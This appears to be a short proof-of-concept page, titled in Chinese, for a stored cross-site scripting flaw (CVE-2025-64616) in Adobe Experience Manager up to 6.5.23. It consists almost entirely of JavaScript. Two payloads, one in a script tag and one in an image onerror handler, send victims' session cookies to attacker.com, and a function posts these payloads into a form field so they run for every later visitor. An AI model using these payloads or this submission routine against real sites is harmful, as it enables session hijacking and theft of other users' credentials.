CVE-2025-64616 Adobe Experience Manager存储型XSS漏洞

// CVE-2025-64616 Adobe Experience Manager Stored XSS PoC // Affected: Adobe Experience Manager <= 6.5.23 // Step 1: Identify vulnerable form field // Navigate to AEM form page that allows user input const formEndpoint = 'https://target-aem.com/content/forms/af/vulnerable-form.html'; // Step 2: Inject XSS payload into form field // Example payload - Cookie stealing const xssPayload = `<script> fetch('https://attacker.com/log?cookie=' + encodeURIComponent(document.cookie)) </script>`; // Alternative payload using event handler const altPayload = `<img src=x onerror="fetch('https://attacker.com/steal?data='+btoa(document.cookie))">`; // Step 3: Submit the form with malicious payload async function exploitAEMXSS(targetUrl, formFieldName, payload) { const response = await fetch(targetUrl, { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': 'login-token=' + userSessionToken }, body: `${formFieldName}=${encodeURIComponent(payload)}` }); return response.ok; } // Step 4: When victim views the page, XSS executes automatically // The malicious script runs in victim's browser context console.log('CVE-2025-64616 PoC - Adobe Experience Manager Stored XSS'); console.log('Payload will execute when any user visits the infected page');